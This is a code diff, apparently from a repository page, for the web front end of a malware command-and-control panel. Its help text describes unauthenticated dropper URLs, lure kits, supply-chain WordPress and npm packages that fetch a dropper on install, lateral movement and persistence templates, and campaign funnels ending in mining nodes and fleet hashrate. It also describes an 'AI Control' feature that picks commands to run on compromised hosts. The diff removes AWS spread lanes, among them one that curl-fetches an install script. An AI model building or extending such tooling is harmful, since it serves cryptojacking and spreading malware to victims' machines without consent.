import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
|
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
||||||
import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
|
||||||
import { isDashboardRoute } from '../../help/routeEffects';
|
import { isDashboardRoute } from '../../help/routeEffects';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import { usePresence } from '../../context/PresenceContext';
|
import { usePresence } from '../../context/PresenceContext';
|
||||||
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
|
|||||||
return 'dashboard';
|
return 'dashboard';
|
||||||
}
|
}
|
||||||
|
|
||||||
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
|
const NAV_BASE = [
|
||||||
|
|
||||||
const NAV_BASE: readonly NavItem[] = [
|
|
||||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||||
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||||
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
|
|||||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||||
];
|
] as const;
|
||||||
|
|
||||||
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
|
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
|
||||||
|
|
||||||
function buildNav(aiControlEnabled: boolean): NavItem[] {
|
function buildNav(aiControlEnabled: boolean) {
|
||||||
if (!aiControlEnabled) {
|
if (!aiControlEnabled) {
|
||||||
return [...NAV_BASE];
|
return [...NAV_BASE];
|
||||||
}
|
}
|
||||||
const items: NavItem[] = [...NAV_BASE];
|
const items = [...NAV_BASE];
|
||||||
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
||||||
items.splice(calibrateIdx, 0, SEER_NAV);
|
items.splice(calibrateIdx, 0, SEER_NAV);
|
||||||
return items;
|
return items;
|
||||||
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
if (latestMessage?.type !== 'scout_constellations') return null;
|
if (latestMessage?.type !== 'scout_constellations') return null;
|
||||||
return latestMessage.payload as ScoutConstellationSnapshot;
|
return latestMessage.payload as ScoutConstellationSnapshot;
|
||||||
}, [latestMessage]);
|
}, [latestMessage]);
|
||||||
const cloudBiome = useMemo(() => {
|
|
||||||
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
|
|
||||||
return latestMessage.payload as CloudVenueSnapshot;
|
|
||||||
}, [latestMessage]);
|
|
||||||
const pageWeather = useMemo(() => {
|
const pageWeather = useMemo(() => {
|
||||||
const base = resolvePageWeather(location.pathname);
|
const base = resolvePageWeather(location.pathname);
|
||||||
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||||
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
||||||
return mergeBiomeWeather(base, scoutBiome, cloudBiome);
|
return mergeScoutBiomeWeather(base, scoutBiome);
|
||||||
}
|
}
|
||||||
return base;
|
return base;
|
||||||
}, [location.pathname, scoutBiome, cloudBiome]);
|
}, [location.pathname, scoutBiome]);
|
||||||
const showDeckEffects = isDashboardRoute(location.pathname);
|
const showDeckEffects = isDashboardRoute(location.pathname);
|
||||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||||
const mobileShortLabel: Record<string, string> = {
|
const mobileShortLabel: Record<string, string> = {
|
||||||
|
|||||||
@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
|
|||||||
return event.event_type === 'onion_miner_log';
|
return event.event_type === 'onion_miner_log';
|
||||||
}
|
}
|
||||||
|
|
||||||
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
|
|
||||||
return event.event_type === 'fargate_plague_front';
|
|
||||||
}
|
|
||||||
|
|
||||||
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
|
|
||||||
if (!isFargatePlagueFrontEvent(event)) return '';
|
|
||||||
const p = event.payload ?? {};
|
|
||||||
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
|
|
||||||
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
|
|
||||||
if (ttl != null && expires) {
|
|
||||||
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
|
|
||||||
}
|
|
||||||
if (ttl != null) {
|
|
||||||
return `Fargate burst seeder front · TTL ${ttl}h`;
|
|
||||||
}
|
|
||||||
return 'Fargate burst seeder campaign active (ECS plague front)';
|
|
||||||
}
|
|
||||||
|
|
||||||
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
||||||
if (!isOnionMinerLogEvent(event)) return '';
|
if (!isOnionMinerLogEvent(event)) return '';
|
||||||
const p = event.payload ?? {};
|
const p = event.payload ?? {};
|
||||||
|
|||||||
@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
|
|||||||
'failure_atlas',
|
'failure_atlas',
|
||||||
'erasure_lanes',
|
'erasure_lanes',
|
||||||
'fleet_torrent',
|
'fleet_torrent',
|
||||||
'aws_erasure_swarm',
|
|
||||||
'ai_court_session',
|
'ai_court_session',
|
||||||
'ai_persona',
|
'ai_persona',
|
||||||
'ai_persona_aggressive',
|
'ai_persona_aggressive',
|
||||||
|
|||||||
@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
|
'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
|
||||||
fleet_torrent:
|
fleet_torrent:
|
||||||
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
|
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
|
||||||
aws_erasure_swarm:
|
|
||||||
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
|
|
||||||
ai_court_session:
|
ai_court_session:
|
||||||
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
|
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
|
||||||
calibration_ai_control:
|
calibration_ai_control:
|
||||||
|
|||||||
@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
|
|||||||
'fm_encrypt_path',
|
'fm_encrypt_path',
|
||||||
'pt_path_tracer',
|
'pt_path_tracer',
|
||||||
'pt_agent_chain',
|
'pt_agent_chain',
|
||||||
'pt_subnet_autopsy',
|
|
||||||
'fleet_runtime_policy',
|
'fleet_runtime_policy',
|
||||||
'fleet_runtime_modules',
|
'fleet_runtime_modules',
|
||||||
'spread_funnel_widget',
|
'spread_funnel_widget',
|
||||||
'subnet_immune_autopsy',
|
|
||||||
'md_overview',
|
'md_overview',
|
||||||
'md_operation_chip',
|
'md_operation_chip',
|
||||||
'md_spread_profile',
|
'md_spread_profile',
|
||||||
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
|
|||||||
'ew_install_links',
|
'ew_install_links',
|
||||||
'ew_spread_kit',
|
'ew_spread_kit',
|
||||||
'ew_war_room',
|
'ew_war_room',
|
||||||
'ew_cloud_ecosystem',
|
|
||||||
'ew_cloud_aws',
|
|
||||||
'ew_cloud_generic',
|
|
||||||
'ew_ssm_document',
|
|
||||||
'ew_supply_chain',
|
'ew_supply_chain',
|
||||||
'ew_public_urls',
|
'ew_public_urls',
|
||||||
'ew_techniques',
|
'ew_techniques',
|
||||||
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
|
|||||||
'set_webhook',
|
'set_webhook',
|
||||||
'ui_color_scheme',
|
'ui_color_scheme',
|
||||||
'crucible_section_spread_templates',
|
'crucible_section_spread_templates',
|
||||||
'crucible_section_launch_template',
|
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
it('defines help for every documented UI key', () => {
|
it('defines help for every documented UI key', () => {
|
||||||
|
|||||||
@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||||
crucible_section_spread_templates:
|
crucible_section_spread_templates:
|
||||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||||
crucible_section_launch_template:
|
|
||||||
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
|
|
||||||
|
|
||||||
bm_pin_dropper:
|
bm_pin_dropper:
|
||||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||||
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||||
ew_supply_chain:
|
ew_supply_chain:
|
||||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||||
ew_cloud_ecosystem:
|
|
||||||
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
|
|
||||||
ew_cloud_aws:
|
|
||||||
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
|
|
||||||
ew_cloud_generic:
|
|
||||||
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
|
|
||||||
ew_ssm_document:
|
|
||||||
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
|
|
||||||
ew_public_urls:
|
ew_public_urls:
|
||||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||||
ew_techniques:
|
ew_techniques:
|
||||||
|
|||||||
@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
|
|||||||
'emberwake_notes_updated',
|
'emberwake_notes_updated',
|
||||||
'emberwake_war_room',
|
'emberwake_war_room',
|
||||||
'scout_constellations',
|
'scout_constellations',
|
||||||
'cloud_venue_biomes',
|
|
||||||
'agent_online',
|
'agent_online',
|
||||||
'agent_offline',
|
'agent_offline',
|
||||||
'new_share',
|
'new_share',
|
||||||
|
|||||||
@@ -27,7 +27,6 @@ import {
|
|||||||
type ForgeDeliverable,
|
type ForgeDeliverable,
|
||||||
} from '../help/forgeFormNormalize';
|
} from '../help/forgeFormNormalize';
|
||||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||||
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
|
|
||||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||||
import DownloadButton from '../components/DownloadButton';
|
import DownloadButton from '../components/DownloadButton';
|
||||||
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
|
|||||||
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{calibrateConfig?.server && (
|
|
||||||
<AwsErasureSwarmPanel
|
|
||||||
server={calibrateConfig.server}
|
|
||||||
onServerChange={(patch) =>
|
|
||||||
setCalibrateConfig((prev) =>
|
|
||||||
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
/>
|
|
||||||
)}
|
|
||||||
|
|
||||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||||
|
|||||||
@@ -15,19 +15,6 @@
|
|||||||
margin-top: 0.5rem;
|
margin-top: 0.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.emberwake-biome-chip {
|
|
||||||
display: inline-block;
|
|
||||||
margin: 0.5rem 0 0;
|
|
||||||
padding: 0.2rem 0.55rem;
|
|
||||||
font-size: 0.72rem;
|
|
||||||
letter-spacing: 0.06em;
|
|
||||||
text-transform: uppercase;
|
|
||||||
color: var(--neon-cyan, #00e8f5);
|
|
||||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
|
||||||
border-radius: 999px;
|
|
||||||
background: rgba(0, 232, 245, 0.08);
|
|
||||||
}
|
|
||||||
|
|
||||||
.emberwake-section-title {
|
.emberwake-section-title {
|
||||||
margin: 0 0 0.35rem;
|
margin: 0 0 0.35rem;
|
||||||
font-size: 1.1rem;
|
font-size: 1.1rem;
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||||
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
|
|||||||
import AlsoHere from '../components/Presence/AlsoHere';
|
import AlsoHere from '../components/Presence/AlsoHere';
|
||||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||||
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
|
||||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||||
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
|
|
||||||
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
|
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './EmberwakePage.css';
|
import './EmberwakePage.css';
|
||||||
import '../components/Presence/Presence.css';
|
import '../components/Presence/Presence.css';
|
||||||
|
|
||||||
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
|
|
||||||
|
|
||||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||||
const [ok, setOk] = useState(false);
|
const [ok, setOk] = useState(false);
|
||||||
const copy = () => {
|
const copy = () => {
|
||||||
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
|
|||||||
|
|
||||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||||
|
|
||||||
const biomeLabel = useMemo(() => {
|
|
||||||
let scout: ScoutConstellationSnapshot | null = null;
|
|
||||||
let cloud: CloudVenueSnapshot | null = null;
|
|
||||||
if (latestMessage?.type === 'scout_constellations') {
|
|
||||||
scout = latestMessage.payload as ScoutConstellationSnapshot;
|
|
||||||
}
|
|
||||||
if (latestMessage?.type === 'cloud_venue_biomes') {
|
|
||||||
cloud = latestMessage.payload as CloudVenueSnapshot;
|
|
||||||
}
|
|
||||||
return activeBiomeLabel(scout, cloud);
|
|
||||||
}, [latestMessage]);
|
|
||||||
|
|
||||||
// Keep refs so `load` can read current pin values without listing them as deps.
|
// Keep refs so `load` can read current pin values without listing them as deps.
|
||||||
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
||||||
// re-render → new load reference → useEffect fires load() again (×N).
|
// re-render → new load reference → useEffect fires load() again (×N).
|
||||||
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
|
|||||||
<p className="page-subtitle">
|
<p className="page-subtitle">
|
||||||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||||||
</p>
|
</p>
|
||||||
{biomeLabel && (
|
|
||||||
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
|
|
||||||
Weather biome · {biomeLabel}
|
|
||||||
</p>
|
|
||||||
)}
|
|
||||||
<p className="emberwake-hero-links form-hint">
|
<p className="emberwake-hero-links form-hint">
|
||||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||||
Spread techniques playbook
|
Spread techniques playbook
|
||||||
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
|
|||||||
)}
|
)}
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
|
||||||
<summary className="emberwake-advanced-summary">
|
|
||||||
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
|
|
||||||
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
|
|
||||||
</summary>
|
|
||||||
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
|
|
||||||
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
|
|
||||||
</Suspense>
|
|
||||||
</details>
|
|
||||||
|
|
||||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||||
<summary className="emberwake-advanced-summary">
|
<summary className="emberwake-advanced-summary">
|
||||||
<span className="emberwake-section-title">
|
<span className="emberwake-section-title">
|
||||||
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
|
|||||||
</ul>
|
</ul>
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
|
||||||
<summary className="emberwake-advanced-summary">
|
|
||||||
<span className="emberwake-section-title">
|
|
||||||
Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
|
|
||||||
</span>
|
|
||||||
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
|
|
||||||
</summary>
|
|
||||||
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
|
|
||||||
</details>
|
|
||||||
|
|
||||||
<section
|
<section
|
||||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||||
aria-labelledby="ew-techniques-heading"
|
aria-labelledby="ew-techniques-heading"
|
||||||
|
|||||||
@@ -382,12 +382,6 @@ export interface ServerSettings {
|
|||||||
erasure_lanes_enabled?: boolean;
|
erasure_lanes_enabled?: boolean;
|
||||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||||
fleet_torrent_enabled?: boolean;
|
fleet_torrent_enabled?: boolean;
|
||||||
aws_s3_shard_bucket?: string;
|
|
||||||
aws_s3_shard_region?: string;
|
|
||||||
aws_cloudfront_domain?: string;
|
|
||||||
fargate_burst_campaign?: boolean;
|
|
||||||
fargate_burst_ttl_hours?: number;
|
|
||||||
fargate_burst_expires_at?: string;
|
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
|
|||||||
Reference in New Issue
Block a user